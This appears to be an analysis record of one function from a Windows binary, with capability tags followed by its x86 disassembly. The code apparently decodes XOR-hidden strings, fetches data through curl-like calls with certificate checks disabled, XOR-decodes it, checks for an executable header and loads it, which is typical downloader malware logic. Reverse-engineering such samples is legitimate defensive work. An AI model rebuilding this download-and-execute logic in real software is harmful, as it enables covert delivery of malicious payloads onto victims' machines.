Function at 0x1004c3c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1019b080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
push esi
push edi
mov edi, ecx
mov byte [0x101a5291], 0
mov dword [ebp - 0x34], edi
mov dword [0x101a5294], 0
movlpd qword [ebp - 0xc], xmm0
push 0x1f4
call ebx
movaps xmm0, xmmword [0x10198250]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x1603180b
mov dword [ebp - 0x18], 0x110c0d0b
mov dword [ebp - 0x14], 0x684c4c4c
mov byte [ebp - 0x10], 0
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x1b
jb 0x1004c424
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x10], 0
push eax
call fcn.1004c230
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call fcn.1004cba0
push edi
mov esi, eax
push 0x2712
push esi
call fcn.1004cc00
add esp, 0xc
push 0x1004c370
push 0x4e2b
push esi
call fcn.1004cc00
add esp, 0xc
push 0
push 0x2b
push esi
call fcn.1004cc00
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x2711
push esi
call fcn.1004cc00
add esp, 0xc
push 0
push 0x40
push esi
call fcn.1004cc00
add esp, 0xc
push 0
push 0x51
push esi
call fcn.1004cc00
add esp, 0xc
push esi
call fcn.1004cbe0
add esp, 4
mov edi, eax
push esi
call fcn.1004cb80
mov ecx, dword [0x101a5294]
add esp, 4
inc ecx
mov dword [0x101a5294], ecx
cmp ecx, 5
jg 0x1004c6e0
test edi, edi
je 0x1004c51e
movaps xmm0, xmmword [0x10198300]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x1f1a005e
mov word [ebp - 0x10], 0x5e
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x14
jb 0x1004c500
lea eax, [ebp - 0x23]
mov byte [ebp - 0xf], 0
push edi
push eax
call fcn.1004c230
add esp, 8
mov edx, dword [ebp - 8]
xor eax, eax
mov esi, dword [ebp - 0xc]
movaps xmm2, xmmword [0x101982f0]
test edx, edx
jle 0x1004c59f
cmp edx, 0x40
jb 0x1004c596
mov ecx, edx
and ecx, 0x8000003f
jns 0x1004c545
dec ecx
or ecx, 0xffffffc0
inc ecx
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x20]
nop dword [eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x50]
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edi
jl 0x1004c550
cmp eax, edx
jge 0x1004c59f
xor byte [esi + eax], 0x42
inc eax
cmp eax, edx
jl 0x1004c596
push 0x64
call ebx
mov eax, dword [ebp - 0xc]
mov ecx, 0x5a4d
mov byte [ebp - 0x10], 0
cmp word [eax], cx
je 0x1004c5f6
movaps xmm0, xmmword [0x10198270]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x1f1e1712
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x13
jb 0x1004c5c8
lea eax, [ebp - 0x23]
mov byte [ebp - 0x10], 0
push eax
call fcn.1004c230
add esp, 4
cmp byte [0x101a5291], 0
jne 0x1004c634
mov edi, dword [ebp - 0x34]
jmp 0x1004c3f7
movaps xmm0, xmmword [0x101982d0]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
movaps xmm0, xmmword [0x10198310]
movups xmmword [ebp - 0x20], xmm0
nop
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1f
jb 0x1004c610
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x10], 0
push eax
call fcn.1004c230
add esp, 4
mov byte [0x101a5291], 1
movaps xmm0, xmmword [0x101982a0]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x2f342723
mov dword [ebp - 0x18], 0x2021273a
mov dword [ebp - 0x14], 0x6060603d
mov word [ebp - 0x10], 0x44
nop dword [eax]
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x1c
jb 0x1004c660
lea eax, [ebp - 0x2b]
mov byte [ebp - 0xf], 0
push eax
call fcn.1004c230
mov ecx, dword [ebp - 0xc]
add esp, 4
call fcn.1004bfb0
cmp al, 1
jne 0x1004c6e0
movaps xmm0, xmmword [str.oeO_e]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x10], 0x654e
movaps xmm0, xmmword [0x10198280]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0xe], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x21
jb 0x1004c6b0
lea eax, [ebp - 0x2f]
mov byte [ebp - 0xe], 0
push eax
call fcn.1004c230
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov al, 1
pop edi
pop esi
pop ebx
call fcn.10084980
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]